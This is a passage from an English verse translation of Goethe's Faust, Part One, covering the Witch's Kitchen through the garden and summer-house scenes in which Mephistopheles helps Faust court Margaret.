attend,\ This is the way to deal with witches, friend.\ \ _The witch_. Now, gentles, what shall I produce?\ \ _Mephistopheles_. A right good glassful of the well-known juice!\ And pray you, let it be the oldest;\ Age makes it doubly strong for use.\ \ _The witch_. Right gladly! Here I have a bottle,\ From which, at times, I wet my throttle;\ Which now, not in the slightest, stinks;\ A glass to you I don't mind giving;\ [_Softly_.]\ But if this man, without preparing, drinks,\ He has not, well you know, another hour for living.\ \ _Mephistopheles_.\ 'Tis a good friend of mine, whom it shall straight cheer up;\ Thy kitchen's best to give him don't delay thee.\ Thy ring--thy spell, now, quick, I pray thee,\ And give him then a good full cup.\ \ [_The_ WITCH, _with strange gestures, draws a circle, and places singular\ things in it; mean-while the glasses begin to ring, the kettle to sound\ and make music. Finally, she brings a great book and places the monkeys in\ the circle, whom she uses as a reading-desk and to hold the torches. She\ beckons_ FAUST _to come to her_.]\ \ _Faust [to Mephistopheles_].\ Hold! what will come of this? These creatures,\ These frantic gestures and distorted features,\ And all the crazy, juggling fluff,\ I've known and loathed it long enough!\ \ _Mephistopheles_. Pugh! that is only done to smoke us;\ Don't be so serious, my man!\ She must, as Doctor, play her hocus-pocus\ To make the dose work better, that's the plan.\ [_He constrains_ FAUST _to step into the circle_.]\ \ THE WITCH\ [_beginning with great emphasis to declaim out of the book_]\ \ Remember then!\ Of One make Ten,\ The Two let be,\ Make even Three,\ There's wealth for thee.\ The Four pass o'er!\ Of Five and Six,\ (The witch so speaks,)\ Make Seven and Eight,\ The thing is straight:\ And Nine is One\ And Ten is none--\ This is the witch's one-time-one![24]\ \ _Faust_. The old hag talks like one delirious.\ \ _Mephistopheles_. There's much more still, no less mysterious,\ I know it well, the whole book sounds just so!\ I've lost full many a year in poring o'er it,\ For perfect contradiction, you must know,\ A mystery stands, and fools and wise men bow before it,\ The art is old and new, my son.\ Men, in all times, by craft and terror,\ With One and Three, and Three and One,\ For truth have propagated error.\ They've gone on gabbling so a thousand years;\ Who on the fools would waste a minute?\ Man generally thinks, if words he only hears,\ Articulated noise must have some meaning in it.\ \ _The witch [goes on_]. Deep wisdom's power\ Has, to this hour,\ From all the world been hidden!\ Whoso thinks not,\ To him 'tis brought,\ To him it comes unbidden.\ \ _Faust_. What nonsense is she talking here?\ My heart is on the point of cracking.\ In one great choir I seem to hear\ A hundred thousand ninnies clacking.\ \ _Mephistopheles_. Enough, enough, rare Sibyl, sing us\ These runes no more, thy beverage bring us,\ And quickly fill the goblet to the brim;\ This drink may by my friend be safely taken:\ Full many grades the man can reckon,\ Many good swigs have entered him.\ \ [_The_ WITCH, _with many ceremonies, pours the drink into a cup;\ as she puts it to_ FAUST'S _lips, there rises a light flame_.]\ \ _Mephistopheles_. Down with it! Gulp it down! 'Twill prove\ All that thy heart's wild wants desire.\ Thou, with the devil, hand and glove,[25]\ And yet wilt be afraid of fire?\ \ [_The_ WITCH _breaks the circle_; FAUST _steps out_.]\ \ _Mephistopheles_. Now briskly forth! No rest for thee!\ \ _The witch_. Much comfort may the drink afford you!\ \ _Mephistopheles [to the witch_]. And any favor you may ask of me,\ I'll gladly on Walpurgis' night accord you.\ \ _The witch_. Here is a song, which if you sometimes sing,\ 'Twill stir up in your heart a special fire.\ \ _Mephistopheles [to Faust_]. Only make haste; and even shouldst thou tire,\ Still follow me; one must perspire,\ That it may set his nerves all quivering.\ I'll teach thee by and bye to prize a noble leisure,\ And soon, too, shalt thou feel with hearty pleasure,\ How busy Cupid stirs, and shakes his nimble wing.\ \ _Faust_. But first one look in yonder glass, I pray thee!\ Such beauty I no more may find!\ \ _Mephistopheles_. Nay! in the flesh thine eyes shall soon display thee\ The model of all woman-kind.\ [_Softly_.]\ Soon will, when once this drink shall heat thee,\ In every girl a Helen meet thee!\ \ \ \ \ A STREET.\ \ FAUST. MARGARET [_passing over_].\ \ _Faust_. My fair young lady, will it offend her\ If I offer my arm and escort to lend her?\ \ _Margaret_. Am neither lady, nor yet am fair!\ Can find my way home without any one's care.\ [_Disengages herself and exit_.]\ \ _Faust_. By heavens, but then the child _is_ fair!\ I've never seen the like, I swear.\ So modest is she and so pure,\ And somewhat saucy, too, to be sure.\ The light of the cheek, the lip's red bloom,\ I shall never forget to the day of doom!\ How me cast down her lovely eyes,\ Deep in my soul imprinted lies;\ How she spoke up, so curt and tart,\ Ah, that went right to my ravished heart!\ [_Enter_ MEPHISTOPHELES.]\ \ _Faust_. Hark, thou shalt find me a way to address her!\ \ _Mephistopheles_. Which one?\ \ _Faust_. She just went by.\ \ _Mephistopheles_. What! She?\ She came just now from her father confessor,\ Who from all sins pronounced her free;\ I stole behind her noiselessly,\ 'Tis an innocent thing, who, for nothing at all,\ Must go to the confessional;\ O'er such as she no power I hold!\ \ _Faust_. But then she's over fourteen years old.\ \ _Mephistopheles_. Thou speak'st exactly like Jack Rake,\ Who every fair flower his own would make.\ And thinks there can be no favor nor fame,\ But one may straightway pluck the same.\ But 'twill not always do, we see.\ \ _Faust_. My worthy Master Gravity,\ Let not a word of the Law be spoken!\ One thing be clearly understood,--\ Unless I clasp the sweet, young blood\ This night in my arms--then, well and good:\ When midnight strikes, our bond is broken.\ \ _Mephistopheles_. Reflect on all that lies in the way!\ I need a fortnight, at least, to a day,\ For finding so much as a way to reach her.\ \ _Faust_. Had I seven hours, to call my own,\ Without the devil's aid, alone\ I'd snare with ease so young a creature.\ \ _Mephistopheles_. You talk quite Frenchman-like to-day;\ But don't be vexed beyond all measure.\ What boots it thus to snatch at pleasure?\ 'Tis not so great, by a long way,\ As if you first, with tender twaddle,\ And every sort of fiddle-faddle,\ Your little doll should mould and knead,\ As one in French romances may read.\ \ _Faust_. My appetite needs no such spur.\ \ _Mephistopheles_. Now, then, without a jest or slur,\ I tell you, once for all, such speed\ With the fair creature won't succeed.\ Nothing will here by storm be taken;\ We must perforce on intrigue reckon.\ \ _Faust_. Get me some trinket the angel has blest!\ Lead me to her chamber of rest!\ Get me a 'kerchief from her neck,\ A garter get me for love's sweet sake!\ \ _Mephistopheles_. To prove to you my willingness\ To aid and serve you in this distress;\ You shall visit her chamber, by me attended,\ Before the passing day is ended.\ \ _Faust_. And see her, too? and have her?\ \ _Mephistopheles_. Nay!\ She will to a neighbor's have gone away.\ Meanwhile alone by yourself you may,\ There in her atmosphere, feast at leisure\ And revel in dreams of future pleasure.\ \ _Faust_. Shall we start at once?\ \ _Mephistopheles_. 'Tis too early yet.\ \ _Faust_. Some present to take her for me you must get.\ \ [_Exit_.]\ \ _Mephistopheles_. Presents already! Brave! He's on the right foundation!\ Full many a noble place I know,\ And treasure buried long ago;\ Must make a bit of exploration.\ \ [_Exit_.]\ \ \ \ \ EVENING.\ \ _A little cleanly Chamber_.\ \ MARGARET [_braiding and tying up her hair_.]\ I'd give a penny just to say\ What gentleman that was to-day!\ How very gallant he seemed to be,\ He's of a noble family;\ That I could read from his brow and bearing--\ And he would not have otherwise been so daring.\ [_Exit_.]\ \ FAUST. MEPHISTOPHELES.\ \ _Mephistopheles_. Come in, step softly, do not fear!\ \ _Faust [after a pause_]. Leave me alone, I prithee, here!\ \ _Mephistopheles [peering round_]. Not every maiden keeps so neat.\ [_Exit_.]\ \ _Faust [gazing round_]. Welcome this hallowed still retreat!\ Where twilight weaves its magic glow.\ Seize on my heart, love-longing, sad and sweet,\ That on the dew of hope dost feed thy woe!\ How breathes around the sense of stillness,\ Of quiet, order, and content!\ In all this poverty what fulness!\ What blessedness within this prison pent!\ [_He throws himself into a leathern chair by the bed_.]\ Take me, too! as thou hast, in years long flown,\ In joy and grief, so many a generation!\ Ah me! how oft, on this ancestral throne,\ Have troops of children climbed with exultation!\ Perhaps, when Christmas brought the Holy Guest,\ My love has here, in grateful veneration\ The grandsire's withered hand with child-lips prest.\ I feel, O maiden, circling me,\ Thy spirit of grace and fulness hover,\ Which daily like a mother teaches thee\ The table-cloth to spread in snowy purity,\ And even, with crinkled sand the floor to cover.\ Dear, godlike hand! a touch of thine\ Makes this low house a heavenly kingdom slime!\ And here!\ [_He lifts a bed-curtain_.]\ What blissful awe my heart thrills through!\ Here for long hours could I linger.\ Here, Nature! in light dreams, thy airy finger\ The inborn angel's features drew!\ Here lay the child, when life's fresh heavings\ Its tender bosom first made warm,\ And here with pure, mysterious weavings\ The spirit wrought its godlike form!\ And thou! What brought thee here? what power\ Stirs in my deepest soul this hour?\ What wouldst thou here? What makes thy heart so sore?\ Unhappy Faust! I know thee thus no more.\ Breathe I a magic atmosphere?\ The will to enjoy how strong I felt it,--\ And in a dream of love am now all melted!\ Are we the sport of every puff of air?\ And if she suddenly should enter now,\ How would she thy presumptuous folly humble!\ Big John-o'dreams! ah, how wouldst thou\ Sink at her feet, collapse and crumble!\ \ _Mephistopheles_. Quick, now! She comes! I'm looking at her.\ \ _Faust_. Away! Away! O cruel fate!\ \ _Mephistopheles_. Here is a box of moderate weight;\ I got it somewhere else--no matter!\ Just shut it up, here, in the press,\ I swear to you, 'twill turn her senses;\ I meant the trifles, I confess,\ To scale another fair one's fences.\ True, child is child and play is play.\ \ _Faust_. Shall I? I know not.\ \ _Mephistopheles_. Why delay?\ You mean perhaps to keep the bauble?\ If so, I counsel you to spare\ From idle passion hours so fair,\ And me, henceforth, all further trouble.\ I hope you are not avaricious!\ I rub my hands, I scratch my head--\ [_He places the casket in the press and locks it up again_.]\ (Quick! Time we sped!)--\ That the dear creature may be led\ And moulded by your will and wishes;\ And you stand here as glum,\ As one at the door of the auditorium,\ As if before your eyes you saw\ In bodily shape, with breathless awe,\ Metaphysics and physics, grim and gray!\ Away!\ [_Exit_.]\ \ _Margaret [with a lamp_]. It seems so close, so sultry here.\ [_She opens the window_.]\ Yet it isn't so very warm out there,\ I feel--I know not how--oh dear!\ I wish my mother 'ld come home, I declare!\ I feel a shudder all over me crawl--\ I'm a silly, timid thing, that's all!\ [_She begins to sing, while undressing_.]\ There was a king in Thulè,\ To whom, when near her grave,\ The mistress he loved so truly\ A golden goblet gave.\ \ He cherished it as a lover,\ He drained it, every bout;\ His eyes with tears ran over,\ As oft as he drank thereout.\ \ And when he found himself dying,\ His towns and cities he told;\ Naught else to his heir denying\ Save only the goblet of gold.\ \ His knights he straightway gathers\ And in the midst sate he,\ In the banquet hall of the fathers\ In the castle over the sea.\ \ There stood th' old knight of liquor,\ And drank the last life-glow,\ Then flung the holy beaker\ Into the flood below.\ \ He saw it plunging, drinking\ And sinking in the roar,\ His eyes in death were sinking,\ He never drank one drop more.\ [_She opens the press, to put away her clothes,\ and discovers the casket_.]\ \ How in the world came this fine casket here?\ I locked the press, I'm very clear.\ I wonder what's inside! Dear me! it's very queer!\ Perhaps 'twas brought here as a pawn,\ In place of something mother lent.\ Here is a little key hung on,\ A single peep I shan't repent!\ What's here? Good gracious! only see!\ I never saw the like in my born days!\ On some chief festival such finery\ Might on some noble lady blaze.\ How would this chain become my neck!\ Whose may this splendor be, so lonely?\ [_She arrays herself in it, and steps before the glass_.]\ Could I but claim the ear-rings only!\ A different figure one would make.\ What's beauty worth to thee, young blood!\ May all be very well and good;\ What then? 'Tis half for pity's sake\ They praise your pretty features.\ Each burns for gold,\ All turns on gold,--\ Alas for us! poor creatures!\ \ \ \ \ PROMENADE.\ \ \ FAUST [_going up and down in thought_.] MEPHISTOPHELES _to him_.\ \ _Mephistopheles_. By all that ever was jilted! By all the infernal fires!\ I wish I knew something worse, to curse as my heart desires!\ \ _Faust_. What griping pain has hold of thee?\ Such grins ne'er saw I in the worst stage-ranter!\ \ _Mephistopheles_. Oh, to the devil I'd give myself instanter,\ If I were not already he!\ \ _Faust_. Some pin's loose in your head, old fellow!\ That fits you, like a madman thus to bellow!\ \ _Mephistopheles_. Just think, the pretty toy we got for Peg,\ A priest has hooked, the cursed plague I--\ The thing came under the eye of the mother,\ And caused her a dreadful internal pother:\ The woman's scent is fine and strong;\ Snuffles over her prayer-book all day long,\ And knows, by the smell of an article, plain,\ Whether the thing is holy or profane;\ And as to the box she was soon aware\ There could not be much blessing there.\ \"My child,\" she cried, \"unrighteous gains\ Ensnare the soul, dry up the veins.\ We'll consecrate it to God's mother,\ She'll give us some heavenly manna or other!\"\ Little Margaret made a wry face; \"I see\ 'Tis, after all, a gift horse,\" said she;\ \"And sure, no godless one is he\ Who brought it here so handsomely.\"\ The mother sent for a priest (they're cunning);\ Who scarce had found what game was running,\ When he rolled his greedy eyes like a lizard,\ And, \"all is rightly disposed,\" said he,\ \"Who conquers wins, for a certainty.\ The church has of old a famous gizzard,\ She calls it little whole lands to devour,\ Yet never a surfeit got to this hour;\ The church alone, dear ladies; _sans_ question,\ Can give unrighteous gains digestion.\"\ \ _Faust_. That is a general pratice, too,\ Common alike with king and Jew.\ \ _Mephistopheles_. Then pocketed bracelets and chains and rings\ As if they were mushrooms or some such things,\ With no more thanks, (the greedy-guts!)\ Than if it had been a basket of nuts,\ Promised them all sorts of heavenly pay--\ And greatly edified were they.\ \ _Faust_. And Margery?\ \ _Mephistopheles_. Sits there in distress,\ And what to do she cannot guess,\ The jewels her daily and nightly thought,\ And he still more by whom they were brought.\ \ _Faust._ My heart is troubled for my pet.\ Get her at once another set!\ The first were no great things in their way.\ \ _Mephistopheles._ O yes, my gentleman finds all child's play!\ \ _Faust._ And what I wish, that mind and do!\ Stick closely to her neighbor, too.\ Don't be a devil soft as pap,\ And fetch me some new jewels, old chap!\ \ _Mephistopheles._ Yes, gracious Sir, I will with pleasure.\ [_Exit_ FAUST.]\ Such love-sick fools will puff away\ Sun, moon, and stars, and all in the azure,\ To please a maiden's whimsies, any day.\ [_Exit._]\ \ \ \ \ THE NEIGHBOR'S HOUSE.\ \ \ MARTHA [_alone]._\ My dear good man--whom God forgive!\ He has not treated me well, as I live!\ Right off into the world he's gone\ And left me on the straw alone.\ I never did vex him, I say it sincerely,\ I always loved him, God knows how dearly.\ [_She weeps_.]\ Perhaps he's dead!--O cruel fate!--\ If I only had a certificate!\ \ _Enter_ MARGARET.\ Dame Martha!\ \ _Martha_. What now, Margery?\ \ _Margaret_. I scarce can keep my knees from sinking!\ Within my press, again, not thinking,\ I find a box of ebony,\ With things--can't tell how grand they are,--\ More splendid than the first by far.\ \ _Martha_. You must not tell it to your mother,\ She'd serve it as she did the other.\ \ _Margaret_. Ah, only look! Behold and see!\ \ _Martha [puts them on her_]. Fortunate thing! I envy thee!\ \ _Margaret._ Alas, in the street or at church I never\ Could be seen on any account whatever.\ \ _Martha._ Come here as often as you've leisure,\ And prink yourself quite privately;\ Before the looking-glass walk up and down at pleasure,\ Fine times for both us 'twill be;\ Then, on occasions, say at some great feast,\ Can show them to the world, one at a time, at least.\ A chain, and then an ear-pearl comes to view;\ Your mother may not see, we'll make some pretext, too.\ \ _Margaret._ Who could have brought both caskets in succession?\ There's something here for just suspicion!\ [_A knock._ ]\ Ah, God! If that's my mother--then!\ \ _Martha_ [_peeping through the blind_].\ 'Tis a strange gentleman--come in!\ \ [_Enter_ MEPHISTOPHELES.]\ Must, ladies, on your kindness reckon\ To excuse the freedom I have taken;\ [_Steps back with profound respect at seeing_ MARGARET.]\ I would for Dame Martha Schwerdtlein inquire!\ \ _Martha._ I'm she, what, sir, is your desire?\ \ _Mephistopheles_ [_aside to her_]. I know your face, for now 'twill do;\ A distinguished lady is visiting you.\ For a call so abrupt be pardon meted,\ This afternoon it shall be repeated.\ \ _Martha [aloud]._ For all the world, think, child! my sakes!\ The gentleman you for a lady takes.\ \ _Margaret_. Ah, God! I am a poor young blood;\ The gentleman is quite too good;\ The jewels and trinkets are none of my own.\ \ _Mephistopheles_. Ah, 'tis not the jewels and trinkets alone;\ Her look is so piercing, so _distinguè_!\ How glad I am to be suffered to stay.\ \ _Martha_. What bring you, sir? I long to hear--\ \ _Mephistopheles_. Would I'd a happier tale for your ear!\ I hope you'll forgive me this one for repeating:\ Your husband is dead and sends you a greeting.\ \ _Martha_. Is dead? the faithful heart! Woe! Woe!\ My husband dead! I, too, shall go!\ \ _Margaret_. Ah, dearest Dame, despair not thou!\ \ _Mephistopheles_ Then, hear the mournful story now!\ \ _Margaret_. Ah, keep me free from love forever,\ I should never survive such a loss, no, never!\ \ _Mephistopheles_. Joy and woe, woe and joy, must have each other.\ \ _Martha_. Describe his closing hours to me!\ \ _Mephistopheles_. In Padua lies our departed brother,\ In the churchyard of St. Anthony,\ In a cool and quiet bed lies sleeping,\ In a sacred spot's eternal keeping.\ \ _Martha_. And this was all you had to bring me?\ \ _Mephistopheles_. All but one weighty, grave request!\ \"Bid her, when I am dead, three hundred masses sing me!\"\ With this I have made a clean pocket and breast.\ \ _Martha_. What! not a medal, pin nor stone?\ Such as, for memory's sake, no journeyman will lack,\ Saved in the bottom of his sack,\ And sooner would hunger, be a pauper--\ \ _Mephistopheles_. Madam, your case is hard, I own!\ But blame him not, he squandered ne'er a copper.\ He too bewailed his faults with penance sore,\ Ay, and his wretched luck bemoaned a great deal more.\ \ _Margaret_. Alas! that mortals so unhappy prove!\ I surely will for him pray many a requiem duly.\ \ _Mephistopheles_. You're worthy of a spouse this moment; truly\ You are a child a man might love.\ \ _Margaret_. It's not yet time for that, ah no!\ \ _Mephistopheles_. If not a husband, say, meanwhile a beau.\ It is a choice and heavenly blessing,\ Such a dear thing to one's bosom pressing.\ \ _Margaret_. With us the custom is not so.\ \ _Mephistopheles_. Custom or not! It happens, though.\ \ _Martha_. Tell on!\ \ _Mephistopheles_. I slood beside his bed, as he lay dying,\ Better than dung it was somewhat,--\ Half-rotten straw; but then, he died as Christian ought,\ And found an unpaid score, on Heaven's account-book lying.\ \"How must I hate myself,\" he cried, \"inhuman!\ So to forsake my business and my woman!\ Oh! the remembrance murders me!\ Would she might still forgive me this side heaven!\"\ \ _Martha_ [_weeping_]. The dear good man! he has been long forgiven.\ \ _Mephistopheles_. \"But God knows, I was less to blame than she.\"\ \ _Martha_. A lie! And at death's door! abominable!\ \ _Mephistopheles_. If I to judge of men half-way am able,\ He surely fibbed while passing hence.\ \"Ways to kill time, (he said)--be sure, I did not need them;\ First to get children--and then bread to feed them,\ And bread, too, in the widest sense,\ And even to eat my bit in peace could not be thought on.\"\ \ _Martha_. Has he all faithfulness, all love, so far forgotten,\ The drudgery by day and night!\ \ _Mephistopheles_. Not so, he thought of you with all his might.\ He said: \"When I from Malta went away,\ For wife and children my warm prayers ascended;\ And Heaven so far our cause befriended,\ Our ship a Turkish cruiser took one day,\ Which for the mighty Sultan bore a treasure.\ Then valor got its well-earned pay,\ And I too, who received but my just measure,\ A goodly portion bore away.\"\ \ _Martha_. How? Where? And he has left it somewhere buried?\ \ _Mephistopheles_. Who knows which way by the four winds 'twas carried?\ He chanced to take a pretty damsel's eye,\ As, a strange sailor, he through Naples jaunted;\ All that she did for him so tenderly,\ E'en to his blessed end the poor man haunted.\ \ _Martha_. The scamp! his children thus to plunder!\ And could not all his troubles sore\ Arrest his vile career, I wonder?\ \ _Mephistopheles_. But mark! his death wipes off the score.\ Were I in your place now, good lady;\ One year I'd mourn him piously\ And look about, meanwhiles, for a new flame already.\ \ _Martha_. Ah, God! another such as he\ I may not find with ease on this side heaven!\ Few such kind fools as this dear spouse of mine.\ Only to roving he was too much given,\ And foreign women and foreign wine,\ And that accursed game of dice.\ \ _Mephistopheles_. Mere trifles these; you need not heed 'em,\ If he, on his part, not o'er-nice,\ Winked at, in you, an occasional freedom.\ I swear, on that condition, too,\ I would, myself, 'change rings with you!\ \ _Martha_. The gentleman is pleased to jest now!\ \ _Mephistopheles [aside_]. I see it's now high time I stirred!\ She'd take the very devil at his word.\ [_To_ MARGERY.]\ How is it with your heart, my best, now?\ \ _Margaret_. What means the gentleman?\ \ _Mephistopheles. [aside_]. Thou innocent young heart!\ [_Aloud_.]\ Ladies, farewell!\ \ _Margaret_. Farewell!\ \ _Martha_. But quick, before we part!--\ I'd like some witness, vouching truly\ Where, how and when my love died and was buried duly.\ I've always paid to order great attention,\ Would of his death read some newspaper mention.\ \ _Mephistopheles_. Ay, my dear lady, in the mouths of two\ Good witnesses each word is true;\ I've a friend, a fine fellow, who, when you desire,\ Will render on oath what you require.\ I'll bring him here.\ \ _Martha_. O pray, sir, do!\ \ _Mephistopheles_. And this young lady 'll be there too?\ Fine boy! has travelled everywhere,\ And all politeness to the fair.\ \ _Margaret_. Before him shame my face must cover.\ \ _Mephistopheles_. Before no king the wide world over!\ \ _Martha_. Behind the house, in my garden, at leisure,\ We'll wait this eve the gentlemen's pleasure.\ \ \ \ \ STREET.\ \ FAUST. MEPHISTOPHELES.\ \ _Faust_. How now? What progress? Will 't come right?\ \ _Mephistopheles_. Ha, bravo? So you're all on fire?\ Full soon you'll see whom you desire.\ In neighbor Martha's grounds we are to meet tonight.\ That woman's one of nature's picking\ For pandering and gipsy-tricking!\ \ _Faust_. So far, so good!\ \ _Mephistopheles_. But one thing we must do.\ \ _Faust_. Well, one good turn deserves another, true.\ \ _Mephistopheles_. We simply make a solemn deposition\ That her lord's bones are laid in good condition\ In holy ground at Padua, hid from view.\ \ _Faust_. That's wise! But then we first must make the journey thither?\ \ _Mephistopheles. Sancta simplicitas_! no need of such to-do;\ Just swear, and ask not why or whether.\ \ _Faust_. If that's the best you have, the plan's not worth a feather.\ \ _Mephistopheles_. O holy man! now that's just you!\ In all thy life hast never, to this hour,\ To give false witness taken pains?\ Have you of God, the world, and all that it contains,\ Of man, and all that stirs within his heart and brains,\ Not given definitions with great power,\ Unscrupulous breast, unblushing brow?\ And if you search the matter clearly,\ Knew you as much thereof, to speak sincerely,\ As of Herr Schwerdtlein's death? Confess it now!\ \ _Faust_. Thou always wast a sophist and a liar.\ \ _Mephistopheles_. Ay, if one did not look a little nigher.\ For will you not, in honor, to-morrow\ Befool poor Margery to her sorrow,\ And all the oaths of true love borrow?\ \ _Faust_. And from the heart, too.\ \ _Mephistopheles_. Well and fair!\ Then there'll be talk of truth unending,\ Of love o'ermastering, all transcending--\ Will every word be heart-born there?\ \ _Faust_. Enough! It will!--If, for the passion\ That fills and thrills my being's frame,\ I find no name, no fit expression,\ Then, through the world, with all my senses, ranging,\ Seek what most strongly speaks the unchanging.\ And call this glow, within me burning,\ Infinite--endless--endless yearning,\ Is that a devilish lying game?\ \ _Mephistopheles_. I'm right, nathless!\ \ _Faust_. Now, hark to me--\ This once, I pray, and spare my lungs, old fellow--\ Whoever _will_ be right, and has a tongue to bellow,\ Is sure to be.\ But come, enough of swaggering, let's be quit,\ For thou art right, because I must submit.\ \ \ \ \ GARDEN.\ \ MARGARET _on_ FAUST'S _arm_. MARTHA _with_ MEPHISTOPHELES.\ [_Promenading up and down_.]\ \ _Margaret_. The gentleman but makes me more confused\ \ With all his condescending goodness.\ Men who have travelled wide are used\ To bear with much from dread of rudeness;\ I know too well, a man of so much mind\ In my poor talk can little pleasure find.\ \ _Faust_. One look from thee, one word, delights me more\ Than this world's wisdom o'er and o'er.\ [_Kisses her hand_.]\ \ _Margaret_. Don't take that trouble, sir! How could you bear to kiss it?\ A hand so ugly, coarse, and rough!\ How much I've had to do! must I confess it--\ Mother is more than close enough.\ [_They pass on_.]\ \ _Martha_. And you, sir, are you always travelling so?\ \ _Mephistopheles_. Alas, that business forces us to do it!\ With what regret from many a place we go,\ Though tenderest bonds may bind us to it!\ \ _Martha_. 'Twill do in youth's tumultuous maze\ To wander round the world, a careless rover;\ But soon will come the evil days,\ And then, a lone dry stick, on the grave's brink to hover,\ For that nobody ever prays.\ \ _Mephistopheles_. The distant prospect shakes my reason.\ \ _Martha_. Then, worthy sir, bethink yourself in season.\ [_They pass on_.]\ \ _Margaret_. Yes, out of sight and out of mind!\ Politeness you find no hard matter;\ But you have friends in plenty, better\ Than I, more sensible, more refined.\ \ _Faust_. Dear girl, what one calls sensible on earth,\ Is often vanity and nonsense.\ \ _Margaret_. How?\ \ _Faust_. Ah, that the pure and simple never know\ Aught of themselves and all their holy worth!\ That meekness, lowliness, the highest measure\ Of gifts by nature lavished, full and free--\ \ _Margaret_. One little moment, only, think of me,\ I shall to think of you have ample time and leisure.\ \ _Faust_. You're, may be, much alone?\ \ _Margaret_. Our household is but small, I own,\ And yet needs care, if truth were known.\ We have no maid; so I attend to cooking, sweeping,\ Knit, sew, do every thing, in fact;\ And mother, in all branches of housekeeping,\ Is so exact!\ Not that she need be tied so very closely down;\ We might stand higher than some others, rather;\ A nice estate was left us by my father,\ A house and garden not far out of town.\ Yet, after all, my life runs pretty quiet;\ My brother is a soldier,\ My little sister's dead;\ With the dear child indeed a wearing life I led;\ And yet with all its plagues again would gladly try it,\ The child was such a pet.\ \ _Faust_. An angel, if like thee!\ \ _Margaret_. I reared her and she heartily loved me.\ She and my father never saw each other,\ He died before her birth, and mother\ Was given up, so low she lay,\ But me, by slow degrees, recovered, day by day.\ Of course she now, long time so feeble,\ To nurse the poor little worm was unable,\ And so I reared it all alone,\ With milk and water; 'twas my own.\ Upon my bosom all day long\ It smiled and sprawled and so grew strong.\ \ _Faust_. Ah! thou hast truly known joy's fairest flower.\ \ _Margaret_. But no less truly many a heavy hour.\ The wee thing's cradle stood at night\ Close to my bed; did the least thing awake her,\ My sleep took flight;\ 'Twas now to nurse her, now in bed to take her,\ Then, if she was not still, to rise,\ Walk up and down the room, and dance away her cries,\ And at the wash-tub stand, when morning streaked the skies;\ Then came the marketing and kitchen-tending,\ Day in, day out, work never-ending.\ One cannot always, sir, good temper keep;\ But then it sweetens food and sweetens sleep.\ [_They pass on_.]\ \ _Martha_. But the poor women suffer, you must own:\ A bachelor is hard of reformation.\ \ _Mephistopheles_. Madam, it rests with such as you, alone,\ To help me mend my situation.\ \ _Martha_. Speak plainly, sir, has none your fancy taken?\ Has none made out a tender flame to waken?\ \ _Mephistopheles_. The proverb says: A man's own hearth,\ And a brave wife, all gold and pearls are worth.\ \ _Martha_. I mean, has ne'er your heart been smitten slightly?\ \ _Mephistopheles_. I have, on every hand, been entertained politely.\ \ _Martha_. Have you not felt, I mean, a serious intention?\ \ _Mephistopheles_.\ Jesting with women, that's a thing one ne'er should mention.\ \ _Martha_. Ah, you misunderstand!\ \ _Mephistopheles_. It grieves me that I should!\ But this I understand--that you are good.\ [_They pass on_.]\ \ _Faust_. So then, my little angel recognized me,\ As I came through the garden gate?\ \ _Margaret_. Did not my downcast eyes show you surprised me?\ \ _Faust_. And thou forgav'st that liberty, of late?\ That impudence of mine, so daring,\ As thou wast home from church repairing?\ \ _Margaret_. I was confused, the like was new to me;\ No one could say a word to my dishonor.\ Ah, thought I, has he, haply, in thy manner\ Seen any boldness--impropriety?\ It seemed as if the feeling seized him,\ That he might treat this girl just as it pleased him.\ Let me confess! I knew not from what cause,\ Some flight relentings here began to threaten danger;\ I know, right angry with myself I was,\ That I could not be angrier with the stranger.\ \ _Faust_. Sweet darling!\ \ _Margaret_. Let me once!\ \ [_She plucks a china-aster and picks off the leaves one after another_.]\ \ _Faust_. What's that for? A bouquet?\ \ _Margaret_. No, just for sport.\ \ _Faust_. How?\ \ _Margaret_. Go! you'll laugh at me; away!\ [_She picks and murmurs to herself_.]\ \ _Faust_. What murmurest thou?\ \ _Margaret [half aloud_]. He loves me--loves me not.\ \ _Faust_. Sweet face! from heaven that look was caught!\ \ _Margaret [goes on_]. Loves me--not--loves me--not--\ [_picking off the last leaf with tender joy_]\ He loves me!\ \ _Faust_. Yes, my child! And be this floral word\ An oracle to thee. He loves thee!\ Knowest thou all it mean? He loves thee!\ [_Clasping both her hands_.]\ \ _Margaret_. What thrill is this!\ \ _Faust_. O, shudder not! This look of mine.\ This pressure of the hand shall tell thee\ What cannot be expressed:\ Give thyself up at once and feel a rapture,\ An ecstasy never to end!\ Never!--It's end were nothing but blank despair.\ No, unending! unending!\ \ [MARGARET _presses his hands, extricates herself, and runs away.\ He stands a moment in thought, then follows her_].\ \ _Martha [coming_]. The night falls fast.\ \ _Mephistopheles_. Ay, and we must away.\ \ _Martha_. If it were not for one vexation,\ I would insist upon your longer stay.\ Nobody seems to have no occupation,\ No care nor labor,\ Except to play the spy upon his neighbor;\ And one becomes town-talk, do whatsoe'er they may.\ But where's our pair of doves?\ \ _Mephistopheles_. Flown up the alley yonder.\ Light summer-birds!\ \ _Martha_. He seems attached to her.\ \ _Mephistopheles_. No wonder.\ And she to him. So goes the world, they say.\ \ \ \ \ A SUMMER-HOUSE.\ \ MARGARET [_darts in, hides behind the door, presses the tip of\ her finger to her lips, and peeps through the crack_].\ \ _Margaret_. He comes!\ \ _Enter_ FAUST.\ \ _Faust_. Ah rogue, how sly thou art!\ I've caught thee!\ [_Kisses her_.]\ \ _Margaret [embracing him and returning the kiss_].\ Dear good man! I love thee from my heart!\ \ [MEPHISTOPHELES _knocks_.]\ \ _Faust [stamping_]. Who's there?\ \ _Mephistopheles_. A friend!\ \ _Faust_. A beast!\ \ _Mephistopheles_. Time flies, I don't offend you?\ \ _Martha [entering_]. Yes, sir, 'tis growing late.\ \ _Faust_. May I not now attend you?\ \ _Margaret_. Mother would--Fare thee well!\ \ _Faust_. And must I leave thee then? Farewell!\ \ _Martha_. Adé!\ \ _Margaret_. Till, soon, we meet again!\ \ [_Exeunt_ FAUST _and_ MEPHISTOPHELES.]\ \ _Margaret_. Good heavens! what such a man's one brain\ Can in itself alone contain!\ I blush my rudeness to confess,\ And answer all he says with yes.\ Am a poor, ignorant child, don't see\ What he can possibly find in me.\ \ [_Exit_.]\ \ \ \ \ WOODS AND CAVERN.\ \ _Faust_ [_alone_]. Spirit sublime, thou gav'st me, gav'st me all\ For which I prayed. Thou didst not lift in vain\ Thy face upon me in a flame of fire.\ Gav'st me majestic nature for a realm,\ The power to feel, enjoy her. Not alone\ A freezing, formal visit didst thou grant;\ Deep down into her breast invitedst me\ To look, as if she were a bosom-friend.\ The series of animated things\ Thou bidst pass by me, teaching me to know\ My brothers in the waters, woods, and air.\ And when the 